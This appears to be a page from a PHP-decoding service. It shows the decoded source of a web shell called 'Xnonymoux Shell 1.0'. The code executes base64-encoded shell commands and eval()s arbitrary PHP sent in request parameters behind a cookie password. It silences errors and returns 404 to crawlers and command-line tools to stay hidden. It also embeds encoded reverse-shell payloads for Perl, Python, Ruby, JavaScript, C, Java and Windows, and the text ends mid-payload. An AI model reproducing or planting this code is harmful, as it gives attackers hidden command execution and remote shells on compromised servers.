Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php //*********************************************************************************..
Decoded Output download
?>b'<?php
$s_ver = "1.0";
$s_title = "Xnonymoux Shell ".$s_ver;
$s_login_time = 3600 * 24 * 7;
$s_debug = false;
@ob_start();
@set_time_limit(0);
@ini_set(\'html_errors\',\'0\');
@clearstatcache();
define(\'DS\', DIRECTORY_SEPARATOR);
$_POST = clean($_POST);
$_GET = clean($_GET);
$_COOKIE = clean($_COOKIE);
$_GP = array_merge($_POST, $_GET);
$_GP = array_map("ru", $_GP);
if($s_debug){
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set(\'display_errors\',\'1\');
@ini_set(\'log_errors\',\'1\');
foreach($_GP as $k=>$v){
if(is_array($v)) $v = print_r($v, true);
echo "<span>".hss($k."=>".$v)."</span><br />";
}
}
else{
error_reporting(0);
@ini_set(\'display_errors\',\'0\');
@ini_set(\'log_errors\',\'0\');
}
$s_auth = false;
if(strlen(trim($s_pass))>0){
if(isset($_COOKIE[\'Xnonymoux\'])){
if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE[\'Xnonymoux\']))) $s_auth = true;
}
if(isset($_GP[\'login\'])){
$s_login = kript($_GP[\'login\']);
if(strtolower(trim($s_pass)) == $s_login){
setcookie("Xnonymoux",$s_login,time() + $s_login_time);
$s_auth = true;
}
}
if(isset($_GP[\'x\']) && ($_GP[\'x\']==\'logout\')){
$persist = array("theme", "cwd");
$s_reload = (isset($_COOKIE[\'Xnonymoux_included\']) && isset($_COOKIE[\'s_home\']))? rtrim(urldecode($_COOKIE[\'s_self\']),"&"):"";
foreach($_COOKIE as $s_k=>$s_v){
if(!in_array($s_k, $persist)) if(!is_array($s_k)) setcookie($s_k,"",time() - $s_login_time);
}
$s_auth = false;
if(!empty($s_reload)) header("Location: ".$s_reload);
}
}
else $s_auth = true;
if(!empty($_GP[\'s_pass\'])){
if(strtolower(trim($s_pass)) == strtolower(trim($_GP[\'s_pass\']))){
if(isset($_GP[\'cmd\'])) echo exe(base64_decode($_GP[\'cmd\']));
elseif(isset($_GP[\'eval\'])){
$s_code = base64_decode($_GP[\'eval\']);
ob_start();
eval($s_code);
$s_res = ob_get_contents();
ob_end_clean();
echo $s_res;
}
else echo $s_title;
}
die();
}
// block search engine bot
if(isset($_SERVER[\'HTTP_USER_AGENT\']) && (preg_match(\'/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i\', $_SERVER[\'HTTP_USER_AGENT\']))){
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
die();
}
elseif(!isset($_SERVER[\'HTTP_USER_AGENT\'])){
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
die();
}
$s_js = "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";
$s_rs_pl ="lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMqZ3P1/NndhcigKBx0LwDPg/GY8eQOJEWEC5d8CtRBZK4B+4rXEq/88MbdS6h3dMlG7mBNlu9m68mAtvcqpE2/yPBFblCUfzY16PvO+arS3Do0tHMvuGFL3zvHzrVBj4hIdwuyqrnkm29lvANzIJNqYFEkmteYzO4vX0Xzhb+y+yzwriO2Cv3pjU2k9fCQ5mBaTdXLafj6reuOrAPqkcolevww/EhRT4DUKF5pFgveRJqiaCyIQv+W+dPZLLRHitJTr0/Vjt6O07SO8tIklT1f6I1ounhvnRp7RS4klGr7qhPGSQKqxrOZ1RQrnGcbjWvcuMZjnPCyhERCui4Ne6j3eAUlZqvZfGEbL/qeQR+D4HZlG5Nu4odhm6Ae7CHByumpPim4ANOz6M8D+3XQ7M6guJ1JMa0Gl0s8pAgdERTiZPTpn0ZJ1k6jZsrdvAQZxZIrX1lHB4nd31ySvHPdmlAOSdyJG23s37SZrbZJnxkWfUxab92oFaejv5v7L2GNJjhobab6e45IfT8A";
$s_rs_py = "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs+OvJ46EuoKoiv1xIoUygINTLmVSCgdah0KF+sV/BHsGEplyAL2OE/ML9ZDAPamfMSN/3nE+89aVDIYFjFtYm8UQtbWSTiaV5ZXQ1TBwMSr0Hl/wtSnxPgVkqHjiUNhGpgjTDpLOGbLQdaCENJn5NN2WmFLzhW84DoSlPF7AXI26Qhbx5zOi8rIAL6+F5Vm/LN7DACFb19UyS0XW8MqAWp8NxNz74NPx9MTg4bbUWOq0boIvgsAy+fUYdbRSekw4KBrtCbyvZPFBpcNmfC5s6cDflJM+ol/r0lGWlgD3h7lHvxPHyYMVAmkYrU61rrI3iucpsCViRwVEDeLNYAdWQKlZgxLL7AN/9udcPHYJCFc6rNNfO4Or7ze0oOT8bJ6Rxs4FmbYT2umRqClrqrFR4RnMllhJ3CVnbuAtjxRtlq7ONAZ7hdT9aeEvaOrvRqOdJkZ2kSxOkPKsrsv9dTW0oJ/mbIEE7FpeplZpur3P1NzOD7jnqWJI5GPbsxgMNkJ/Htsk0VfmT395cTuK450Y6zu+6Dz5UO/jxFvcKe/ac3uaHVWlsuXY/Sm6wJL6Om7WhzYFb6exyenWTTNqdouPb8x/T8WSUnF1bF1uYcQohN/bj259TZ7TrMh0lv8bJ2cXFKLQZ35DW1E5ghjE6ovUHhdLdtqZVaUeZ4y+vPFw5btAC2znBOTCDcdF4bIfMLT7VFYB03pumvbdBnm6ag+rHpXkfgn7QxobMNsA1bdP3D8xRZ3dg2vXVxG/9HXP7xKQktg1kji7+F/HuR8TZ/xH/wPxd4oz4fwE=";
$s_rs_rb = "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMashpWKeNdnkux+eXRyqCuo6iyT81TIJOFaCXoCObwXNWFd8PIc4ikqYYtXSCxUhCbqVHJ9+ePHHp9Gvz89evzt9m5ZiwelYQTofa1r14rlaMH5tv3PGZ4s4GWrZwmA6rhVEwEtvUcK4tk56SsvEWM7NHiE2xa+ZiRUumdJqGJRGOwrxpBwWTpp2BlItPpnQrGF73EWKdQUcy1ymM9VOelmRZX1SFCTBDhbSkD4ac+j56S+/pTXwma7y/CjCZlnRxyfn+d/Znx+fHP54fnXU//5mPxs2+RuuYQayFxDJwASr3RmVn70cvQf5GaSLk5B+kzgNzVU6phQaD6RpIxnXmLhuYNcNPMBUcA5UQ1lw4nATmDHunuwygXKhQy/wyprm1FaBrQnhEihWzs+0R+CyEVLjs59P3+aXGuT8ePT+KI+L/dHvr4qT+DjojfDY3SVV4UOGi5+Kx9+UuDhx21O/k/7UfpKlN7CNXXXdpbfsMUlJckBOyBpqUZlO49rEPgO9npBdcswUYJBSyBdS2ORr24ySQSGH+9kGPlSnTmkl5k2eE7IBCTBrh5Y4/TZjWyF21Xkd7o5BZqwfx4k3vPNEd3VLMz9UC/ll2KuTnWjvY1mge5CvmDTejeW7gPYy79I9rCNLS7UKZSoWgzvLtC1pX6cHJ3Qf/D9NC3aaevMubUQDvFf3iSTJ1TUT1515JizblAfEzOXBhq+b7c62hP21bPW9e5agaHt77w35LekFuGrlbQYqpbVYyUjlnNVRZ8v3cI3YnjqC3EFsxtEmtR0baZW7t6Nzw7G2gCEgT7ie8dyPh2e8vavqxrEeUg/gOOQJDqE1akMITQ1fOkZD1t3/TWSoy2wZ9OaFMsqOsJQnLCNB95CUix9tYSYU5KtU5GRoN/Gg7tAWmkHd4VVGCcI18vAi1zu37kzY1eUrJtgdRTfIm27XNf/GOQTktulUD5zONadh91v4M7B14FCYNhulnzPz5CYMhfHyk+fAVvIP";
$s_rs_js = "nVHLasMwEDwrkH8wvliGVIImUEjIqZ/QY/rAkTeWqCy5kpwUQv69kuykebSl2Afh3Zmd3Z2lNOHONXZOKdMlkErrSgJhuqYNXU8fZu93loOUdDzaFiaxTbFTyTIx8NEKAzhjXMjyrTGagbVZTiJh0ZEVuHOqD7O8h6wzUNTnaJc5EZhWVku4aNWlIqVXCZN5SkbXQlHLM4+IDe6nIY0s3EabmtSFYxzT151niTz/rmN1SeATQl3SSRam2nrkKBHCTjT8EQmqcny5nOb78QgFPvdkvxhhfnoHT2C2YPCmVcwJrbCNPGTJzggHOI2G9u3nYUcFzEH5rNKwVNJ/3WpeOJqJI/0ct5xYVwpFDNi2BpxfQ7p1xHdPy8IV6eQ4TYJDnO+P08RocbhVBmMGlv9Vdhz6php1LydSWAcqOr26fwnJw3gE0kJy7f/s5L+98P+xczRY36tM4kVX0yj330Og3y6AfrAeDfQcDTQbDXP58AU=";
$s_rs_c = "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0tE4RvEgpulU6YbKV3FShnYnWKJZwtTrCdwnqXUfUnrCR5orqKC6qZ+TATVXwjmFG3GBMarGMmoA3ifEUQSeMcNE3449vc+1mv2YJCBMnA79Zr5qIbYgDTLE6SPGICMAOzJbSHg6Bjj9RYSzERLeM147ug9xANR4Owe8Azmesg1VIoGGvJoOvlzz3vN8Vqt5T7OSaHw1Gv359GvdFXR1NB8V5YqqPZ+P5jNAung94jahcUqi1HZhoqU/4UWYpjRtPB59nA6qEziRR7pnIJZdl/Cd8oj26ZhoXMgonECMCTl4Omd8ZQe+sXLG4GSoXhvXcpCWJCqOvcPlzH6BDUcHsB3F6AG0CkEJRomnwXDdS5LrnJJusYbiXxj5NOIbkzTdewQbd2pCAcTB+Drab5ujuZ+cH5u8mX/t15t6wayISUAGxehFUKLlmjuCuXikJi45d6jXJFwcHOq9e30y6kiwpiZ15M+Znmco8gM2tuprknXPgXx8he+587MJxMpuNwHIX3k72vsBz2X90sN+Gk5nnebft4I5yT6j+cVNXEP05e30lVOPlS/wU=";
$s_rs_java = "lVRNb9swDD2nQP+DkJM9ZHaTDdjWIsOwYYcBA1osvXXBoMiMrdWWBIn5Qpr/PkqWXXftpQfbEvlEPj5SznNWIRp3medCF5CVWpc1ZEI3uclX7z68v3/rKqjr/PxMNkZbZH/5lmdSZ2+unpoUYLCdn5nNqpaCiZo7x0KMP9Ydz89GxsotR2AOORJgLRWvI8wggz2CKhy7rSzwwuP7Az+U2eACyd4w6a6GrusNPvr0BgMDcrccDCZPz06eHUiPWEmXSTenyGFJxrmPdGpDfbnegrWygEHcrZYFsxuVpIHnCO2hXYxWB4S7JVuxOVOwY2H7cfpptrxq/VIhE+SkPL7MZJVGx66SNSTi8/wiZTHWiFhkOysRktXkYiI6aLCv642rkt70YsxT+LRvwVFUyfe9AINSKwbpETJSUZEWXNzfWi6AwgWwf7XVx3pjx0LZDZcqIf2kKqlQbkvXiuAr8+MQcrd+JpqCeI3zlVS5q8bBJdfJ4uAQmqwEvLHagMVDMtYuU7yBcZqh/ql3YL9xR4QyqQrYX6+T8U6qcerlOcao9Bm3fGO2nbeGgWNhaNklE1opEAjFb9VmH/Rn5wl8pb2LMi60uAdkVexdu42+vsNE39ec1aBKrObzaRyBUbgKc5pVhBJsZrh1QJuAvrtYdj1ZgKV5iqlcl2pgTHygDu25uIwL37Wu2W0/oXbA/iczey2ZVjhpCBtc0+Ug8UAEaSZswOv0shTs4YG9zGd4C0vpy668+gNzP8pPLmipe+zQ3oPJ392QzkQjJcD/Uujgr41C2YA/Hpc0UbAHkdDwpPFfQWrR5E5jwaSzeUZt4ol0CTx69ogu/V/FPGfYw6cZXR/r22dm/fJRxvB6xe2k5/QP";
$s_rs_win = "7Vh3WFPZtj8pkEASEiQISDsoCigdRkCDJAICChIBFQtCGhhNMzmhSAsTUEOMxq4ICg6jjgURlSpFcChWHBsKKDrohRvaIBcYUc8NI3e+Ke/73n/vj/fe+r619lm/Vfbae/+x9zphG9UACgAAtJZhGAAqga9EBf57kmnZwLraALiud9+mEhF63yZqK1cCisTCBDGDD7IYAoEQApkcUCwVgFwBGBAeCfKFbI4zgaBvO5ODHggAoQgUYE+zCPtP3h6AiMIhkN4AqFVIWhYBgHrfzISFM9VN48ivdSNm6v+NSmdivpq1BM7opN9x0h8Xoc1HQQD/47SWHu3624foDwUh/7a/PVo/t/8s47f1z/q7H/Wrn/vviyuc8SH/za/Bw9nVa3pyG4IeUp9qnPRJj3lrQx4bAMQGWg/tqdgigPDWOBheq3gnH8AWjTCoQBvcE68m9g5W1BMiSZ4taFu64aw+BGBINqgZTKpBY/R4aIO9qsCRFu2cigD+EH/KllQEutq2YNFoOsYDqNWUP9A1wc8f08W6kS4VYYcT4VfknAbpSsJ1pbGtu4KExznKe1+MZ9SMYAibzW4qfRTo5V++bBxAF62KANMUTXNvKywmJqphA0MLpWXPle9CFir9Sfay/MBq3j0j16tCa3d6vxAGVNACAJ5iDVebViN/go2fMMYAC7Xq+oJ3u8juL6wRLt3CinGyMhBbj/A9YNiQtNRXpSs+MWT5alWNh6X9cmyNSRec/kQ+iSBmw4TZxJwLGLeGT7UvvshvkzfFNKJph6ENvkd1zX0PTX2pei19o7nhq4O9AgX6WhrdX19jqUagIUkkVEq+NSTAqBLL2iv7Yc3pKygz1wm3zv5tRF8cZmlqzZoD2QLQVO3Xv5nV4Yh1aV7n0nmAkNjvH4ZQtnra2WDEDHMc7u41azE2p1OqL+7/og4zHTeFNENqYH/Zz5avjYkBSoIjk